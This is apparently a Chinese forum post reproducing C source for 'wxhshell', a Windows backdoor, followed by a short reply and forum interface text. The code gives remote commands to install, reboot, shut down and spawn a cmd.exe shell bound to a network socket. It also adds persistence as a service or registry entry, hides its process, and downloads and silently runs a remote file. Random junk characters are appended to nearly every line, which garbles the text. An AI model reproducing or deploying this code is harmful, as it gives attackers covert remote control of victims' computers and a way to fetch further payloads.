    switch(cmd[0]) { J+}+ "h~.  
  {ywXz|TP  
  // 帮助 (@KoqwVWc  
  case '?': { |%'6f}fnE  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tIGVB+g{F  
    break; w\o)bn  
  } + %MO7vL  
  // 安装 d`9W  
  case 'i': { pwFU2}I  
    if(Install()) FpdDIa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /lS+J(I  
    else kfqpI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e~+(7_2  
    break; f=:3!k,S  
    } KMK&[E#r  
  // 卸载 IU Y> ih  
  case 'r': { XOysgX0g  
    if(Uninstall()) gf68iR.Gs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o%Be0~n'  
    else AezvBY0'`z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~|CJsD/  
    break; MvFM ,  
    } J$#h( D%  
  // 显示 wxhshell 所在路径 &jV9*  
  case 'p': { a>wfhmr  
    char svExeFile[MAX_PATH]; ]UX`=+{  
    strcpy(svExeFile,"\n\r"); 5q|+p?C  
      strcat(svExeFile,ExeFile); 5:Yck<  
        send(wsh,svExeFile,strlen(svExeFile),0); c Ndw9?Z  
    break; .7 (DxN  
    } j>0<#SYBu  
  // 重启 ?w+ QbT  
  case 'b': { QP6z?j.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Yz&*PPx  
    if(Boot(REBOOT)) QU^/[75Ea0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AVXX\n\_  
    else { `y\*m]:  
    closesocket(wsh); ds*m6#1b  
    ExitThread(0); O^.%C`*  
    } Xh.+pJl,*  
    break; $uEJn&n7}  
    } Xw7{R  
  // 关机 PUbaS{J7  
  case 'd': { ^ckj3Y#;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Yv)Bj  
    if(Boot(SHUTDOWN)) _Kc 1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )Vwj9WD  
    else { :8p&#M  
    closesocket(wsh); %&^Q(f  
    ExitThread(0); &EAk z  
    } %ZujCZn  
    break; rkxW UDl   
    } UdT&cG  
  // 获取shell  f>.4-a?  
  case 's': { +"]oc{W!  
    CmdShell(wsh); Zxg1M  
    closesocket(wsh); {5T0RL{\N  
    ExitThread(0); 9*#$0Y=  
    break; m)s xotgXf  
  } <"* "1(wN  
  // 退出 ZhH+D`9  
  case 'x': { hVMYB_<~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  X ?tj$  
    CloseIt(wsh); o_iEkn  
    break; pG/ NuImA  
    } yh S#&)O  
  // 离开 H76E+AY  
  case 'q': { }<vvxi  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Vy]A,Rn7  
    closesocket(wsh); B,3 t`  
    WSACleanup(); 9'1hjd3k  
    exit(1); A#<vG1  
    break; S8\+XJ  
        } `SCy<w3$+[  
  } K!GUv{fp  
  } Z[Wlyb0  
JW=uK$sO  
  // 提示信息 Yt -W1vl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @4;&hP2Z:  
} @gNpJB]V  
  } h ~ $&  
K} +S+ *_  
  return; 5N\+@grp  
} Ba<ngG !  
SU/G)&Mi  
// shell模块句柄 Q~phGD3!~  
int CmdShell(SOCKET sock) z1F9$ ^  
{ &]w#z=5SXi  
STARTUPINFO si; DL,[k (  
ZeroMemory(&si,sizeof(si)); gWkjUz )  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |V lMma z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Sa Cx)8ul0  
PROCESS_INFORMATION ProcessInfo; 'f 3HKn<L  
char cmdline[]="cmd"; \I;cZ>{u"}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h-7A9:  
  return 0; 't7Z] G  
} 9qEOgJ  
[6H}/_nD  
// 自身启动模式 bZ/ hgqS  
int StartFromService(void) -TgUyv.  
{ TZ'aNcGg  
typedef struct F#su5<d  
{ ~P/]:=  
  DWORD ExitStatus; R;r|cep  
  DWORD PebBaseAddress; kfXS_\@iW1  
  DWORD AffinityMask; aVP5%  
  DWORD BasePriority; ,(P %z.P@  
  ULONG UniqueProcessId; D3y>iQd   
  ULONG InheritedFromUniqueProcessId; wS V@=)H\:  
}   PROCESS_BASIC_INFORMATION; l8^y]M  
(v!mR+\x  
PROCNTQSIP NtQueryInformationProcess; 0 sZwdO  
|) O):  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %l,4=TQ[m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q3+I<qsAz  
glx2I_y  
  HANDLE             hProcess; F99A;M8(  
  PROCESS_BASIC_INFORMATION pbi; mbyih+amCr  
;Z*'D}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (-\]A|  
  if(NULL == hInst ) return 0; PcB{ = L  
`NQ{)N0!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ijF V<P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IP04l;p/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gGI8t@t:  
-,^WaB7u\  
  if (!NtQueryInformationProcess) return 0; uoHqL IpQ  
eES'}[W>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); as(*B-_n~  
  if(!hProcess) return 0; 7H%_sw5S.  
]U[&uymax  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =5ug\S  
jB!W2~Z  
  CloseHandle(hProcess); ZOuR"9]  
eQ<xp A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M6_-f ;.  
if(hProcess==NULL) return 0; r{S=Z~J  
=UNT.]  
HMODULE hMod; )pS8{c)E  
char procName[255]; g2=}G<*0  
unsigned long cbNeeded; \-OC|\{32  
D"cKlp-I6|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D^u\l  
kon5+g9q  
  CloseHandle(hProcess); xQo~%wW,?  
_IxamWpX$  
if(strstr(procName,"services")) return 1; // 以服务启动 tq&Yek>C  
\45(#H<$  
  return 0; // 注册表启动 y@3kU*-1  
} akC>s8tqlA  
A#35]V06  
// 主模块 I8k  
int StartWxhshell(LPSTR lpCmdLine) \i0-o8q@I  
{ A*F9\mj I5  
  SOCKET wsl; E~RV1)  
BOOL val=TRUE; Sph*1c(R  
  int port=0; *Tp]h 0  
  struct sockaddr_in door; =/Wu'gG)  
@+&'%1  
  if(wscfg.ws_autoins) Install(); 4gOgWBv  
| 3giZ{  
port=atoi(lpCmdLine); | ]# +v@  
C_G1P)k  
if(port<=0) port=wscfg.ws_port; IY)5.E _  
E*k([ZL  
  WSADATA data; TV=c,*TV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; K2HvI7$-  
ZoxS*Xk  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hJ[UB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N@()F&e  
  door.sin_family = AF_INET; o,FUfO}F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); TKOP;[1h  
  door.sin_port = htons(port); 1Nj=B_T  
f=m/ -mAA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o?wt$j-  
closesocket(wsl); M/#U2!iFk  
return 1; &z>q#'X;.  
} EwQae(PpA  
:B.G)M\  
  if(listen(wsl,2) == INVALID_SOCKET) { fhRjYYGI  
closesocket(wsl); Q#pnj thM  
return 1; h<% U["   
} ~<,Sh~Ana.  
  Wxhshell(wsl); H&bh<KPMh  
  WSACleanup(); 7/"@yVBW  
X *O9JGh  
return 0; dB3N%pB^  
j#3m|dQ  
} TQJF+;%  
t',BI  
// 以NT服务方式启动 v=p0 +J>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,|pp67  
{ v`B4(P1Z  
DWORD   status = 0; jdM=SBy7q  
  DWORD   specificError = 0xfffffff; S}cF0B1E*  
?Y3@"rdR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )0-o%- e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \_VmY!I5\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .zS D`v@[  
  serviceStatus.dwWin32ExitCode     = 0; nxQ}&n  
  serviceStatus.dwServiceSpecificExitCode = 0; T3z(k la  
  serviceStatus.dwCheckPoint       = 0; yM ,VrUh  
  serviceStatus.dwWaitHint       = 0; <%KUdkzEP  
? )_7U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^ ulps**e  
  if (hServiceStatusHandle==0) return; ~@P)tl>  
j=ihbR^]Tl  
status = GetLastError(); Q2c*.Y  
  if (status!=NO_ERROR) N9]xJgTze  
{ Ttv'k*$cP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O]qPmEj  
    serviceStatus.dwCheckPoint       = 0; /9_#U#vhY  
    serviceStatus.dwWaitHint       = 0; `?uPn~,e8  
    serviceStatus.dwWin32ExitCode     = status; +< KNY  
    serviceStatus.dwServiceSpecificExitCode = specificError; "}zda*z8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &fSTR-8ev#  
    return; xl2g0?  
  } LgHJo-+>  
d(S}NH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~/|zlu*jpc  
  serviceStatus.dwCheckPoint       = 0; _tj&Psp  
  serviceStatus.dwWaitHint       = 0; nwf7M#3d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4#:\?HAu!  
} ~NNv>5 t5  
(WE,dY+.  
// 处理NT服务事件,比如:启动、停止 }-p,iTm  
VOID WINAPI NTServiceHandler(DWORD fdwControl) zu<3^=3  
{ @^? XaU  
switch(fdwControl) YwAnqAg  
{ |Q!4GeQL[  
case SERVICE_CONTROL_STOP: p)/ p!d[T/  
  serviceStatus.dwWin32ExitCode = 0; 'qy#)F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0x5xLg;Q  
  serviceStatus.dwCheckPoint   = 0; o.^y1mH'  
  serviceStatus.dwWaitHint     = 0; 2U9&l1P=  
  { ` X}85  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8i: [:Z  
  } |+NuYz?  
  return; K"l0w**Og#  
case SERVICE_CONTROL_PAUSE: &p"(-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3hS6j S  
  break; l h/&__  
case SERVICE_CONTROL_CONTINUE: M<[ ?g5=#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; irMd jG  
  break; %MJ;Q?KB  
case SERVICE_CONTROL_INTERROGATE: 8#59iQl  
  break; d+}kg  
}; Y {c5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <xn;bp[  
} de YyaV  
aws"3O% uW  
// 标准应用程序主函数 Z;b+>2oL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A}G|Yfn  
{ E*|tOj9`1n  
Q)^g3J  
// 获取操作系统版本  .mPg0  
OsIsNt=GetOsVer(); rkYjq4Z@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =Od>;|]m  
f0oek{  
  // 从命令行安装 Kx6y" {me|  
  if(strpbrk(lpCmdLine,"iI")) Install(); R8<eN9bJ9  
n}J^6:1  
  // 下载执行文件 SxMj,u%X/  
if(wscfg.ws_downexe) { o6|-=FcvC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0H:dv:#WAI  
  WinExec(wscfg.ws_filenam,SW_HIDE); np6HUH  
} ]}2Ztr)zZ  
nY^Nbh0  
if(!OsIsNt) { '[Gm8K5  
// 如果时win9x,隐藏进程并且设置为注册表启动 Fu)Th|5GZ  
HideProc(); -&Gfh\_NW  
StartWxhshell(lpCmdLine);  @E_zR  
} ^ vbWRG~  
else `="v>qN2\  
  if(StartFromService()) 7GZq|M_:y  
  // 以服务方式启动 +R[4\ hC0Y  
  StartServiceCtrlDispatcher(DispatchTable); yP\Up  
else ("Dv>&w9  
  // 普通方式启动  @Fx@5e  
  StartWxhshell(lpCmdLine); FA$zZs10\  
EOVZGZF  
return 0; b3U6;]|x  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八